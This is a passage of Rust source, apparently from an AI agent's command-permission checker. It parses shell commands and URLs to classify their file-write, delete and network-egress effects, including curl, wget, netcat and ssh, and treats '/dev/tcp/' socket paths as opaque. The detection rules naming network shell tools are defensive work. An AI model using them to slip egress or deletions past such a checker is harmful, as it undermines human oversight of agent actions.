2552 push_with_wrappers(tokens[index + 1..].to_vec(), depth + 1, out);
2553 }
2554 }
2555 }
2556}
2557
2558pub fn egress_effect(scheme: &str, host: &str, port: Option<u16>) -> Option<EffectKey> {
2596 let host = host.trim();
2597 let bare = match host.strip_prefix('[') {
2598 Some(inner) => {
2600 let inner = inner.strip_suffix(']')?;
2601 inner.parse::<std::net::Ipv6Addr>().ok()?;
2602 inner
2603 }
2604 None => host,
2605 };
2606 if !valid_host(bare) {
2607 return None;
2608 }
2609 Some(EffectKey::egress(scheme, bare, port))
2610}
2611
2612fn valid_host(host: &str) -> bool {
2616 if host.parse::<std::net::Ipv4Addr>().is_ok() || host.parse::<std::net::Ipv6Addr>().is_ok() {
2617 return true;
2618 }
2619 let name = host.strip_suffix('.').unwrap_or(host);
2620 !name.is_empty()
2621 && name.len() <= 253
2622 && name.split('.').all(|label| {
2623 !label.is_empty()
2624 && label.len() <= 63
2625 && !label.starts_with('-')
2626 && !label.ends_with('-')
2627 && label.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
2628 })
2629}
2630
2631fn scheme_default_port(scheme: &str) -> Option<u16> {
2633 match scheme {
2634 "git" => Some(9418),
2635 "rsync" => Some(873),
2636 "ssh" | "git+ssh" | "ssh+git" | "sftp" | "scp" => Some(22),
2637 _ => None,
2638 }
2639}
2640
2641pub fn url_effect(raw: &str) -> Option<EffectKey> {
2650 let url = strict_url(raw)?;
2651 url_host_effect(&url)
2652}
2653
2654fn strict_url(raw: &str) -> Option<reqwest::Url> {
2655 if raw.is_empty()
2656 || !raw.is_ascii()
2657 || raw.chars().any(|c| {
2658 c.is_ascii_whitespace()
2659 || c.is_ascii_control()
2660 || matches!(c, '\\' | '$' | '`' | '"' | '\'' | '{' | '}' | '*' | ',')
2661 })
2662 {
2663 return None;
2664 }
2665 let (scheme, rest) = raw.split_once("://")?;
2666 let mut scheme_chars = scheme.chars();
2667 if !scheme_chars.next()?.is_ascii_alphabetic()
2668 || !scheme_chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.'))
2669 {
2670 return None;
2671 }
2672 let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());
2673 let (authority, tail) = rest.split_at(authority_end);
2674 if tail.contains(['[', ']']) || authority.matches('@').count() > 1 {
2676 return None;
2677 }
2678 let host_port = authority
2679 .rsplit_once('@')
2680 .map_or(authority, |(_, host)| host);
2681 let (host, port) = match host_port.strip_prefix('[') {
2682 Some(after) => {
2683 let (inner, port) = after.split_once(']')?;
2684 (format!("[{inner}]"), port)
2685 }
2686 None => match host_port.split_once(':') {
2687 Some((host, _)) => (host.to_string(), &host_port[host.len()..]),
2688 None => (host_port.to_string(), ""),
2689 },
2690 };
2691 if host.contains(['[', ']']) && !host.starts_with('[') {
2692 return None;
2693 }
2694 if let Some(digits) = port.strip_prefix(':') {
2695 if digits.is_empty() || digits.len() > 5 || !digits.chars().all(|c| c.is_ascii_digit()) {
2696 return None;
2697 }
2698 digits.parse::<u16>().ok()?;
2699 } else if !port.is_empty() {
2700 return None;
2701 }
2702 egress_effect(scheme, &host, None)?;
2703 let url = reqwest::Url::parse(raw).ok()?;
2704 let normalize = |host: &str| host.trim_end_matches('.').to_ascii_lowercase();
2705 (normalize(url.host_str()?) == normalize(&host)).then_some(url)
2706}
2707
2708pub fn url_host_effect(url: &reqwest::Url) -> Option<EffectKey> {
2711 let scheme = url.scheme();
2712 let port = url
2715 .port()
2716 .or_else(|| scheme_default_port(scheme))
2717 .or_else(|| url.port_or_known_default())?;
2718 egress_effect(scheme, url.host_str()?, Some(port))
2719}
2720
2721fn structural_absolute_path(raw: &str, cwd: Option<&str>) -> Option<String> {
2728 let raw = raw.trim();
2729 if raw.is_empty() || raw.contains(['$', '`', '*', '?', '[', ']', '{', '}', '\\', '\0']) {
2730 return None;
2731 }
2732 let expanded = if raw == "~" || raw.starts_with("~/") {
2733 format!("{}{}", dirs::home_dir()?.to_str()?, &raw[1..])
2734 } else if raw.starts_with('~') {
2735 return None;
2736 } else {
2737 raw.to_string()
2738 };
2739 if crate::BackendPath::is_absolute(&expanded) {
2740 return Some(expanded);
2741 }
2742 let cwd = cwd
2743 .map(str::trim)
2744 .filter(|cwd| crate::BackendPath::is_absolute(cwd))?;
2745 Some(format!("{}/{expanded}", cwd.trim_end_matches('/')))
2746}
2747
2748pub fn path_effect(class: EffectClass, raw: &str, cwd: Option<&str>) -> Option<EffectKey> {
2757 let absolute = structural_absolute_path(raw, cwd)?;
2758 let lexical = EffectKey::path(class, &absolute)?;
2759 Some(resolved_on_disk(class, lexical))
2760}
2761
2762fn resolved_on_disk(class: EffectClass, lexical: EffectKey) -> EffectKey {
2763 let path = std::path::Path::new(&lexical.target);
2764 let (base, leaf) = match (class, path.parent(), path.file_name()) {
2765 (EffectClass::Delete, Some(parent), Some(name)) => (parent, Some(name)),
2766 _ => (path, None),
2767 };
2768 for ancestor in base.ancestors() {
2769 let Ok(mut real) = dunce::canonicalize(ancestor) else {
2770 continue;
2771 };
2772 if let Ok(rest) = base.strip_prefix(ancestor)
2773 && !rest.as_os_str().is_empty()
2774 {
2775 real.push(rest);
2776 }
2777 if let Some(leaf) = leaf {
2778 real.push(leaf);
2779 }
2780 return real
2781 .to_str()
2782 .and_then(|real| EffectKey::path(class, real))
2783 .unwrap_or(lexical);
2784 }
2785 lexical
2786}
2787
2788pub fn shell_path_effects(
2798 class: EffectClass,
2799 raw: &str,
2800 cwd: Option<&str>,
2801) -> Option<Vec<EffectKey>> {
2802 let absolute = structural_absolute_path(raw, cwd)?;
2803 let components: Vec<&str> = absolute
2804 .split('/')
2805 .filter(|part| !part.is_empty() && *part != ".")
2806 .collect();
2807 let mut existing = components.len();
2808 let base = loop {
2809 let prefix = format!("/{}", components[..existing].join("/"));
2810 if std::fs::symlink_metadata(&prefix).is_ok() {
2811 break dunce::canonicalize(&prefix).ok()?;
2812 }
2813 existing -= 1;
2814 };
2815 let rest = &components[existing..];
2816 if rest.contains(&"..") {
2817 return None;
2818 }
2819 let mut physical = base;
2820 for part in rest {
2821 physical.push(part);
2822 }
2823 let mut keys = vec![EffectKey::path(class, physical.to_str()?)?];
2824 if class == EffectClass::Delete {
2825 let named = path_effect(class, raw, cwd)?;
2826 if !keys.contains(&named) {
2827 keys.push(named);
2828 }
2829 }
2830 Some(keys)
2831}
2832
2833pub fn execution_backend_is_local(backend: &dyn crate::backend::ExecutionBackend) -> bool {
2836 backend.kind() == crate::backend::BackendKind::Local
2837}
2838
2839pub fn without_local_paths(mut effects: CallEffects) -> CallEffects {
2843 effects.keys.retain(|key| {
2844 !matches!(
2845 key.class,
2846 EffectClass::Write | EffectClass::Delete | EffectClass::Configuration
2847 )
2848 });
2849 effects.complete = false;
2850 effects.understood = false;
2851 effects
2852}
2853
2854pub fn file_tool_write_effects(
2858 backend: &dyn crate::backend::ExecutionBackend,
2859 arguments: &str,
2860) -> CallEffects {
2861 if !execution_backend_is_local(backend) {
2862 return CallEffects::unknown();
2863 }
2864 let path = serde_json::from_str::<serde_json::Value>(arguments)
2865 .ok()
2866 .and_then(|args| {
2867 ["path", "file_path", "file", "filename"]
2868 .iter()
2869 .find_map(|key| {
2870 args.get(*key)
2871 .and_then(|value| value.as_str())
2872 .map(str::to_string)
2873 })
2874 });
2875 match path.and_then(|path| path_effect(EffectClass::Write, &path, None)) {
2876 Some(key) => CallEffects {
2877 keys: vec![key],
2878 complete: true,
2879 understood: false,
2880 },
2881 None => CallEffects::unknown(),
2882 }
2883}
2884
2885pub fn shell_call_effects(command: &str, cwd: Option<&str>) -> CallEffects {
2897 let analysis = analyze_shell(command, cwd);
2898 CallEffects {
2899 keys: analysis.keys,
2900 complete: false,
2901 understood: analysis.complete,
2902 }
2903}
2904
2905struct ShellAnalysis {
2906 keys: Vec<EffectKey>,
2907 complete: bool,
2909}
2910
2911impl ShellAnalysis {
2912 fn add(&mut self, key: EffectKey) {
2913 if !self.keys.contains(&key) {
2914 self.keys.push(key);
2915 }
2916 }
2917
2918 fn opaque(&mut self) {
2920 self.complete = false;
2921 }
2922
2923 fn unresolved(&mut self) {
2925 self.complete = false;
2926 }
2927
2928 fn path(&mut self, class: EffectClass, raw: &str, cwd: Option<&str>) {
2929 if raw.contains(['<', '>']) {
2931 self.unresolved();
2932 return;
2933 }
2934 match shell_path_effects(class, raw, cwd) {
2935 Some(keys) => keys.into_iter().for_each(|key| self.add(key)),
2936 None => self.unresolved(),
2937 }
2938 }
2939
2940 fn egress(&mut self, key: Option<EffectKey>) {
2941 match key {
2942 Some(key) => self.add(key),
2943 None => self.opaque(),
2944 }
2945 }
2946}
2947
2948fn executed_text(command: &str) -> String {
2957 let command = shell_text(command);
2958 let chars: Vec<char> = command.chars().collect();
2959 let mut out = String::with_capacity(command.len());
2960 let (mut in_single, mut in_double) = (false, false);
2961 let mut pending: Vec<(String, bool)> = Vec::new();
2963 let mut i = 0;
2964 while i < chars.len() {
2965 let c = chars[i];
2966 if in_single || in_double {
2967 if c == '\n' {
2968 out.push('\0');
2969 } else {
2970 out.push(c);
2971 if c == '\\' && in_double {
2972 if let Some(&next) = chars.get(i + 1) {
2973 out.push(if next == '\n' { '\0' } else { next });
2974 i += 1;
2975 }
2976 } else if (c == '\'' && in_single) || (c == '"' && in_double) {
2977 in_single = false;
2978 in_double = false;
2979 }
2980 }
2981 i += 1;
2982 continue;
2983 }
2984 match c {
2985 '\\' => {
2986 out.push(c);
2987 if let Some(&next) = chars.get(i + 1) {
2988 out.push(next);
2989 i += 1;
2990 }
2991 }
2992 '\'' => {
2993 in_single = true;
2994 out.push(c);
2995 }
2996 '"' => {
2997 in_double = true;
2998 out.push(c);
2999 }
3000 '#' if out
3001 .chars()
3002 .last()
3003 .is_none_or(|p| p.is_whitespace() || matches!(p, ';' | '|' | '&' | '(' | ')')) =>
3004 {
3005 while i < chars.len() && chars[i] != '\n' {
3006 i += 1;
3007 }
3008 continue;
3009 }
3010 '<' if chars.get(i + 1) == Some(&'<') && chars.get(i + 2) != Some(&'<') => {
3011 out.push_str("<<");
3012 let mut j = i + 2;
3013 let strip_tabs = chars.get(j) == Some(&'-');
3014 if strip_tabs {
3015 out.push('-');
3016 j += 1;
3017 }
3018 while chars.get(j).is_some_and(|c| *c == ' ' || *c == '\t') {
3019 out.push(chars[j]);
3020 j += 1;
3021 }
3022 let mut delimiter = String::new();
3023 while let Some(&d) = chars.get(j) {
3024 if d.is_whitespace() || matches!(d, ';' | '|' | '&' | '<' | '>' | '(' | ')') {
3025 break;
3026 }
3027 out.push(d);
3028 if !matches!(d, '\'' | '"' | '\\') {
3029 delimiter.push(d);
3030 }
3031 j += 1;
3032 }
3033 pending.push((delimiter, strip_tabs));
3034 i = j;
3035 continue;
3036 }
3037 '\n' => {
3038 out.push('\n');
3039 for (delimiter, strip_tabs) in std::mem::take(&mut pending) {
3041 loop {
3042 i += 1;
3043 if i >= chars.len() {
3044 break;
3045 }
3046 let end = chars[i..]
3047 .iter()
3048 .position(|c| *c == '\n')
3049 .map_or(chars.len(), |offset| i + offset);
3050 let line: String = chars[i..end].iter().collect();
3051 let line = if strip_tabs {
3052 line.trim_start_matches('\t')
3053 } else {
3054 line.as_str()
3055 };
3056 let done = line == delimiter;
3057 i = end;
3058 if done {
3059 break;
3060 }
3061 }
3062 }
3063 }
3064 _ => out.push(c),
3065 }
3066 i += 1;
3067 }
3068 out
3069}
3070
3071fn analyze_shell(command: &str, cwd: Option<&str>) -> ShellAnalysis {
3072 let mut out = ShellAnalysis {
3073 keys: Vec::new(),
3074 complete: true,
3075 };
3076 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
3077 out.opaque();
3078 }
3079 let changes_directory = expanded_commands(command)
3089 .iter()
3090 .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
3091 if changes_directory {
3092 out.unresolved();
3093 }
3094 let mut here: Option<String> = cwd
3095 .map(str::trim)
3096 .filter(|dir| crate::BackendPath::is_absolute(dir))
3097 .map(str::to_string);
3098 for line in executed_text(&command.replace("\\\n", " ")).split('\n') {
3101 let scanned = scan(line);
3102 if scanned.unsafe_syntax {
3104 out.opaque();
3105 }
3106 let line_moves = scanned.segments.iter().any(|segment| {
3109 shell_words::split(segment).is_ok_and(|tokens| {
3110 tokens
3111 .first()
3112 .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
3113 })
3114 });
3115 for target in &scanned.output_targets {
3116 if target.contains(['"', '\'']) || line_moves {
3117 out.unresolved();
3118 } else {
3119 out.path(EffectClass::Write, target, here.as_deref());
3120 }
3121 }
3122 for (index, segment) in scanned.segments.iter().enumerate() {
3123 if segment.trim().is_empty() {
3124 continue;
3125 }
3126 if has_expansion(segment) {
3127 out.opaque();
3128 }
3129 let Ok(tokens) = shell_words::split(segment) else {
3130 out.opaque();
3131 continue;
3132 };
3133 let tokens = strip_redirections(tokens);
3134 match tokens.first().map(|program| basename(program)) {
3135 Some("cd") => {
3136 here = if scanned.separators.iter().any(|c| matches!(c, '(' | ')'))
3137 || !runs_on_after(&scanned, index)
3138 || has_expansion(segment)
3139 {
3140 None
3141 } else {
3142 changed_directory(&tokens[1..], here.as_deref())
3143 };
3144 }
3145 Some("pushd" | "popd") => here = None,
3146 _ => segment_effects(&tokens, here.as_deref(), &mut out),
3147 }
3148 }
3149 }
3150 let executed = executed_text(&command.replace("\\\n", " "));
3153 for tokens in expanded_commands(&executed) {
3154 let mut inner = ShellAnalysis {
3155 keys: Vec::new(),
3156 complete: true,
3157 };
3158 segment_effects(&tokens, cwd, &mut inner);
3159 for key in inner.keys {
3160 if key.class == EffectClass::Egress {
3161 out.add(key);
3162 }
3163 }
3164 }
3165 out
3166}
3167
3168fn runs_on_after(scanned: &Scan, index: usize) -> bool {
3172 let doubled = |c: char| {
3173 scanned
3174 .segments
3175 .get(index + 1)
3176 .is_some_and(|next| next.trim().is_empty())
3177 && scanned.separators.get(index + 1) == Some(&c)
3178 };
3179 match scanned.separators.get(index) {
3180 None | Some(';') => true,
3181 Some('&') => doubled('&'),
3182 Some('|') => doubled('|'),
3183 Some(_) => false,
3184 }
3185}
3186
3187fn changed_directory(args: &[String], here: Option<&str>) -> Option<String> {
3191 let [target] = args else {
3192 return None;
3193 };
3194 if target.starts_with('-') {
3195 return None;
3196 }
3197 let absolute = structural_absolute_path(target, here)?;
3198 EffectKey::path(EffectClass::Write, &absolute).map(|key| key.target)
3199}
3200
3201fn has_expansion(segment: &str) -> bool {
3205 let chars: Vec<char> = segment.chars().collect();
3206 let (mut in_single, mut in_double) = (false, false);
3207 for (index, &c) in chars.iter().enumerate() {
3208 if in_single {
3209 in_single = c != '\'';
3210 continue;
3211 }
3212 if in_double {
3213 match c {
3214 '"' => in_double = false,
3215 '$' | '`' | '\\' => return true,
3216 _ => {}
3217 }
3218 continue;
3219 }
3220 match c {
3221 '\'' => in_single = true,
3222 '"' => in_double = true,
3223 '{' | '}' | '*' | '?' | '[' | ']' | '$' | '`' | '\\' => return true,
3224 '~' => {
3225 let word_start = index == 0 || chars[index - 1].is_whitespace();
3226 let user = chars
3227 .get(index + 1)
3228 .is_some_and(|next| !next.is_whitespace() && *next != '/');
3229 if word_start && user {
3230 return true;
3231 }
3232 }
3233 _ => {}
3234 }
3235 }
3236 false
3237}
3238
3239fn segment_effects(tokens: &[String], here: Option<&str>, out: &mut ShellAnalysis) {
3240 let Some(program) = tokens.first() else {
3241 return;
3242 };
3243 let path_ok = !program.contains('/')
3244 || program
3245 .rsplit_once('/')
3246 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3247 if is_env_assignment(program) || !path_ok {
3248 out.opaque();
3249 return;
3250 }
3251 let name = basename(program);
3252 let args = &tokens[1..];
3253 if name != "git" && is_program_observation(name, args) {
3257 return;
3258 }
3259 match name {
3260 "cd" | "pushd" | "popd" => {}
3262 "rm" | "rmdir" | "unlink" => {
3263 if parse_options(&REMOVE, args).is_some() {
3264 deleted(tokens, here, out)
3265 } else {
3266 out.unresolved()
3267 }
3268 }
3269 "find"
3270 if args.iter().any(|arg| arg == "-delete")
3271 && !args
3272 .iter()
3273 .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())) =>
3274 {
3275 deleted(tokens, here, out)
3276 }
3277 "cp" | "mv" => copied(name, args, here, out),
3278 "tee" | "touch" | "mkdir" => created(name, args, here, out),
3279 "curl" => curl(args, here, out),
3280 "wget" => wget(args, here, out),
3281 "invoke-webrequest" => powershell_web(args, out),
3282 name if in_powershell_table(POWERSHELL_DELETES, name) => {
3283 if powershell_args_plain(args) {
3284 deleted(tokens, here, out)
3285 } else {
3286 out.unresolved()
3287 }
3288 }
3289 "http" | "https" | "xh" | "xhs" => httpie(args, here, out),
3290 "nc" | "ncat" | "netcat" => netcat(args, out),
3291 "ssh" => ssh(args, here, out),
3292 "scp" => scp(args, here, out),
3293 "rsync" => rsync(args, here, out),
3294 "git" => git(args, here, out),
3295 _ => out.opaque(),
3296 }
3297}
3298
3299fn powershell_web(args: &[String], out: &mut ShellAnalysis) {
3304 out.opaque();
3305 for arg in args {
3306 if arg.contains("://") {
3307 match url_effect(arg) {
3308 Some(key) => out.add(key),
3309 None => out.unresolved(),
3310 }
3311 }
3312 }
3313}
3314
3315const REMOVE: OptionSpec = OptionSpec {
3316 flags: "rRfidIvP",
3317 valued: &[],
3318 long_flags: &[
3319 "recursive",
3320 "force",
3321 "dir",
3322 "verbose",
3323 "interactive",
3324 "one-file-system",
3325 "preserve-root",
3326 "ignore-fail-on-non-empty",
3327 "parents",
3328 ],
3329 long_valued: &[],
3330 long_equals: false,
3331 exact: &[],
3332 stop_at_positional: false,
3333};
3334
3335fn deleted(tokens: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3336 match delete_targets(&shell_words::join(tokens)) {
3337 Some(targets) => {
3338 for target in targets {
3339 out.path(EffectClass::Delete, &target, cwd);
3340 }
3341 }
3342 None => out.unresolved(),
3343 }
3344}
3345
3346#[derive(Clone, Copy, PartialEq, Eq)]
3348enum OptionValue {
3349 Ignore,
3351 Url,
3353 Write,
3355 Document,
3357 Port,
3359 TargetDir,
3361}
3362
3363struct OptionSpec {
3366 flags: &'static str,
3368 valued: &'static [(char, OptionValue)],
3370 long_flags: &'static [&'static str],
3371 long_valued: &'static [(&'static str, OptionValue)],
3372 long_equals: bool,
3374 exact: &'static [&'static str],
3376 stop_at_positional: bool,
3379}
3380
3381#[derive(Default)]
3382struct ParsedOptions {
3383 positionals: Vec<String>,
3384 values: Vec<(OptionValue, String)>,
3385 long_flags: Vec<String>,
3386}
3387
3388fn parse_options(spec: &OptionSpec, args: &[String]) -> Option<ParsedOptions> {
3389 let mut parsed = ParsedOptions::default();
3390 let mut index = 0;
3391 let mut options_done = false;
3392 while index < args.len() {
3393 let arg = &args[index];
3394 index += 1;
3395 if options_done || arg == "-" || !arg.starts_with('-') {
3396 parsed.positionals.push(arg.clone());
3397 options_done |= spec.stop_at_positional;
3398 continue;
3399 }
3400 if arg == "--" {
3401 options_done = true;
3402 continue;
3403 }
3404 if spec.exact.contains(&arg.as_str()) {
3405 continue;
3406 }
3407 if let Some(long) = arg.strip_prefix("--") {
3408 if let Some((name, value)) = long.split_once('=') {
3409 if !spec.long_equals {
3410 return None;
3411 }
3412 let role = lookup(spec.long_valued, name)?;
3413 parsed.values.push((role, attached_value(value)));
3414 } else if spec.long_flags.contains(&long) {
3415 parsed.long_flags.push(long.to_string());
3416 } else {
3417 let role = lookup(spec.long_valued, long)?;
3418 parsed.values.push((role, args.get(index)?.clone()));
3419 index += 1;
3420 }
3421 continue;
3422 }
3423 let cluster: Vec<char> = arg[1..].chars().collect();
3424 for (position, letter) in cluster.iter().enumerate() {
3425 if spec.flags.contains(*letter) {
3426 continue;
3427 }
3428 let role = spec
3429 .valued
3430 .iter()
3431 .find(|(short, _)| short == letter)
3432 .map(|(_, role)| *role)?;
3433 let rest: String = cluster[position + 1..].iter().collect();
3434 let value = if rest.is_empty() {
3435 index += 1;
3436 args.get(index - 1)?.clone()
3437 } else {
3438 rest
3439 };
3440 parsed.values.push((role, attached_value(&value)));
3441 break;
3442 }
3443 }
3444 Some(parsed)
3445}
3446
3447fn attached_value(value: &str) -> String {
3451 if value.starts_with('~') {
3452 format!("./{value}")
3453 } else {
3454 value.to_string()
3455 }
3456}
3457
3458fn lookup(table: &[(&str, OptionValue)], name: &str) -> Option<OptionValue> {
3459 table
3460 .iter()
3461 .find(|(long, _)| *long == name)
3462 .map(|(_, role)| *role)
3463}
3464
3465fn apply_values(parsed: &ParsedOptions, cwd: Option<&str>, out: &mut ShellAnalysis) {
3468 for (role, value) in &parsed.values {
3469 match role {
3470 OptionValue::Write | OptionValue::Document if value != "-" => {
3471 out.path(EffectClass::Write, value, cwd)
3472 }
3473 OptionValue::Url => out.egress(url_effect(value)),
3474 _ => {}
3475 }
3476 }
3477}
3478
3479const CURL: OptionSpec = OptionSpec {
3480 flags: "sSLfiIkvGNqjgn0123456#Z",
3481 valued: &[
3482 ('X', OptionValue::Ignore),
3483 ('d', OptionValue::Ignore),
3484 ('H', OptionValue::Ignore),
3485 ('u', OptionValue::Ignore),
3486 ('A', OptionValue::Ignore),
3487 ('e', OptionValue::Ignore),
3488 ('F', OptionValue::Ignore),
3489 ('m', OptionValue::Ignore),
3490 ('T', OptionValue::Ignore),
3491 ('b', OptionValue::Ignore),
3492 ('w', OptionValue::Ignore),
3493 ('r', OptionValue::Ignore),
3494 ('C', OptionValue::Ignore),
3495 ('Y', OptionValue::Ignore),
3496 ('y', OptionValue::Ignore),
3497 ('z', OptionValue::Ignore),
3498 ('E', OptionValue::Ignore),
3499 ('U', OptionValue::Ignore),
3500 ('o', OptionValue::Write),
3501 ('D', OptionValue::Write),
3502 ('c', OptionValue::Write),
3503 ],
3504 long_flags: &[
3505 "silent",
3506 "show-error",
3507 "location",
3508 "location-trusted",
3509 "fail",
3510 "fail-with-body",
3511 "fail-early",
3512 "include",
3513 "head",
3514 "insecure",
3515 "verbose",
3516 "get",
3517 "compressed",
3518 "http0.9",
3519 "http1.0",
3520 "http1.1",
3521 "http2",
3522 "http2-prior-knowledge",
3523 "http3",
3524 "http3-only",
3525 "no-buffer",
3526 "globoff",
3527 "ipv4",
3528 "ipv6",
3529 "no-progress-meter",
3530 "progress-bar",
3531 "netrc",
3532 "netrc-optional",
3533 "raw",
3534 "tr-encoding",
3535 "no-keepalive",
3536 "ssl-reqd",
3537 "tcp-nodelay",
3538 "path-as-is",
3539 "retry-all-errors",
3540 "retry-connrefused",
3541 "anyauth",
3542 "basic",
3543 "digest",
3544 "ntlm",
3545 "negotiate",
3546 "disable",
3547 "junk-session-cookies",
3548 "parallel",
3549 "tlsv1.2",
3550 "tlsv1.3",
3551 "styled-output",
3552 "no-styled-output",
3553 ],
3554 long_valued: &[
3555 ("url", OptionValue::Url),
3556 ("request", OptionValue::Ignore),
3557 ("data", OptionValue::Ignore),
3558 ("data-raw", OptionValue::Ignore),
3559 ("data-binary", OptionValue::Ignore),
3560 ("data-urlencode", OptionValue::Ignore),
3561 ("data-ascii", OptionValue::Ignore),
3562 ("json", OptionValue::Ignore),
3563 ("header", OptionValue::Ignore),
3564 ("user", OptionValue::Ignore),
3565 ("user-agent", OptionValue::Ignore),
3566 ("referer", OptionValue::Ignore),
3567 ("form", OptionValue::Ignore),
3568 ("form-string", OptionValue::Ignore),
3569 ("max-time", OptionValue::Ignore),
3570 ("connect-timeout", OptionValue::Ignore),
3571 ("upload-file", OptionValue::Ignore),
3572 ("cookie", OptionValue::Ignore),
3573 ("write-out", OptionValue::Ignore),
3574 ("range", OptionValue::Ignore),
3575 ("retry", OptionValue::Ignore),
3576 ("retry-delay", OptionValue::Ignore),
3577 ("retry-max-time", OptionValue::Ignore),
3578 ("cacert", OptionValue::Ignore),
3579 ("capath", OptionValue::Ignore),
3580 ("cert", OptionValue::Ignore),
3581 ("cert-type", OptionValue::Ignore),
3582 ("key", OptionValue::Ignore),
3583 ("key-type", OptionValue::Ignore),
3584 ("oauth2-bearer", OptionValue::Ignore),
3585 ("max-redirs", OptionValue::Ignore),
3586 ("limit-rate", OptionValue::Ignore),
3587 ("max-filesize", OptionValue::Ignore),
3588 ("continue-at", OptionValue::Ignore),
3589 ("time-cond", OptionValue::Ignore),
3590 ("proxy-user", OptionValue::Ignore),
3591 ("output", OptionValue::Write),
3592 ("dump-header", OptionValue::Write),
3593 ("cookie-jar", OptionValue::Write),
3594 ("trace", OptionValue::Write),
3595 ("trace-ascii", OptionValue::Write),
3596 ("libcurl", OptionValue::Write),
3597 ("stderr", OptionValue::Write),
3598 ("etag-save", OptionValue::Write),
3599 ],
3600 long_equals: false,
3601 exact: &[],
3602 stop_at_positional: false,
3603};
3604
3605fn curl(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3606 let Some(parsed) = parse_options(&CURL, args) else {
3607 out.opaque();
3608 return;
3609 };
3610 if parsed
3612 .values
3613 .iter()
3614 .any(|(_, value)| value.contains("%output{"))
3615 {
3616 out.unresolved();
3617 }
3618 apply_values(&parsed, cwd, out);
3619 for url in &parsed.positionals {
3620 out.egress(url_effect(url));
3621 }
3622}
3623
3624const WGET: OptionSpec = OptionSpec {
3625 flags: "qvSc",
3626 valued: &[
3627 ('O', OptionValue::Document),
3628 ('o', OptionValue::Write),
3629 ('a', OptionValue::Write),
3630 ('T', OptionValue::Ignore),
3631 ('t', OptionValue::Ignore),
3632 ('U', OptionValue::Ignore),
3633 ],
3634 long_flags: &[
3635 "quiet",
3636 "verbose",
3637 "no-verbose",
3638 "server-response",
3639 "spider",
3640 "continue",
3641 "no-check-certificate",
3642 "no-clobber",
3643 "inet4-only",
3644 "inet6-only",
3645 "no-cache",
3646 "no-cookies",
3647 "content-on-error",
3648 "ignore-length",
3649 "auth-no-challenge",
3650 "no-proxy",
3651 ],
3652 long_valued: &[
3653 ("output-document", OptionValue::Document),
3654 ("output-file", OptionValue::Write),
3655 ("append-output", OptionValue::Write),
3656 ("save-cookies", OptionValue::Write),
3657 ("timeout", OptionValue::Ignore),
3658 ("tries", OptionValue::Ignore),
3659 ("header", OptionValue::Ignore),
3660 ("method", OptionValue::Ignore),
3661 ("body-data", OptionValue::Ignore),
3662 ("body-file", OptionValue::Ignore),
3663 ("post-data", OptionValue::Ignore),
3664 ("post-file", OptionValue::Ignore),
3665 ("user-agent", OptionValue::Ignore),
3666 ("user", OptionValue::Ignore),
3667 ("password", OptionValue::Ignore),
3668 ("http-user", OptionValue::Ignore),
3669 ("http-password", OptionValue::Ignore),
3670 ("referer", OptionValue::Ignore),
3671 ("wait", OptionValue::Ignore),
3672 ("limit-rate", OptionValue::Ignore),
3673 ("read-timeout", OptionValue::Ignore),
3674 ("connect-timeout", OptionValue::Ignore),
3675 ("dns-timeout", OptionValue::Ignore),
3676 ("max-redirect", OptionValue::Ignore),
3677 ("progress", OptionValue::Ignore),
3678 ("ca-certificate", OptionValue::Ignore),
3679 ("certificate", OptionValue::Ignore),
3680 ("private-key", OptionValue::Ignore),
3681 ("load-cookies", OptionValue::Ignore),
3682 ],
3683 long_equals: true,
3684 exact: &["-nv", "-nc", "-nd", "-nH"],
3685 stop_at_positional: false,
3686};
3687
3688fn wget(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3689 let Some(parsed) = parse_options(&WGET, args) else {
3690 out.opaque();
3691 return;
3692 };
3693 apply_values(&parsed, cwd, out);
3694 for url in &parsed.positionals {
3695 out.egress(url_effect(url));
3696 }
3697 let names_output = parsed
3699 .values
3700 .iter()
3701 .any(|(role, _)| *role == OptionValue::Document);
3702 let spider = parsed.long_flags.iter().any(|flag| flag == "spider");
3703 if !names_output && !spider {
3704 out.unresolved();
3705 }
3706}
3707
3708pub fn proven_fetch_urls(command: &str) -> Option<Vec<String>> {
3720 let scanned = scan(command);
3721 if scanned.unsafe_syntax || !scanned.separators.len().is_multiple_of(2) {
3722 return None;
3723 }
3724 for (pair, between) in scanned
3726 .separators
3727 .chunks(2)
3728 .zip(scanned.segments.iter().skip(1).step_by(2))
3729 {
3730 if pair != ['&', '&'] || !between.is_empty() {
3731 return None;
3732 }
3733 }
3734 let mut urls = Vec::new();
3735 for segment in scanned.segments.iter().step_by(2) {
3736 if has_expansion(segment) {
3737 return None;
3738 }
3739 let tokens = strip_redirections(shell_words::split(segment).ok()?);
3740 let (program, args) = tokens.split_first()?;
3741 let path_ok = !program.contains('/')
3742 || program
3743 .rsplit_once('/')
3744 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3745 if !path_ok {
3746 return None;
3747 }
3748 let spec = match basename(program) {
3749 "curl" => &CURL,
3750 "wget" => &WGET,
3751 _ => return None,
3752 };
3753 let parsed = parse_options(spec, args)?;
3754 let mut named = parsed.positionals.iter().chain(
3755 parsed
3756 .values
3757 .iter()
3758 .filter(|(role, _)| *role == OptionValue::Url)
3759 .map(|(_, value)| value),
3760 );
3761 let url = named.next()?;
3762 if named.next().is_some() || strict_url(url).is_none() {
3763 return None;
3764 }
3765 urls.push(url.clone());
3766 }
3767 Some(urls)
3768}
3769
3770const HTTPIE: OptionSpec = OptionSpec {
3771 flags: "vhbfjFIq",
3772 valued: &[
3773 ('p', OptionValue::Ignore),
3774 ('s', OptionValue::Ignore),
3775 ('a', OptionValue::Ignore),
3776 ('A', OptionValue::Ignore),
3777 ('o', OptionValue::Write),
3778 ],
3779 long_flags: &[
3780 "json",
3781 "form",
3782 "multipart",
3783 "verbose",
3784 "headers",
3785 "body",
3786 "follow",
3787 "check-status",
3788 "ignore-stdin",
3789 "quiet",
3790 "offline",
